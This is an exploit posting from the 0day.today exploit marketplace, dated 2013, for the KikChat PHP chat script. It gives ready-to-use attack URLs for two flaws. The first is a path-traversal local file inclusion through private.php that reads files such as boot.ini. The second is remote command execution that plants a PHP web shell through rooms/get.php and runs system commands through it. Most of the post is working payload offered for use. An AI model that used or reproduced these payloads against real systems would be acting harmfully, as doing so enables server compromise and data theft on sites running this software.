[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

KikChat Local File Inclusion / Remote Command Execution Vulnerabilities

Author
cr4wl3r
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-21678
Category
web applications
Date add
16-12-2013
Platform
php
# KikChat <= (LFI/RCE) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script : http://petitvincent.perso.free.fr/Webmastering/Script%20PHP%20HTML%20JAVASCRIPT/php%20scripts/kikchat.zip
# Tested : Windows / Linux
# Dork   : download script
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable LFI [ private.php ]

http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../[file]
http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable RCE [ /rooms/get.php ]:

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($cmd); ?>
http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;id;uname -a;pwd;ls -al
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

makase banyak :

tau lo bentor to hulandalo
tamongodula'a wau tamohutata, dulo ito momongulipu


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
p.s 
malandingalo wa'u sebenarnya mohutu sploitz
bo sekedar koleksi saja :D
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


// gorontalo 2013

#  0day.today [2024-11-15]  #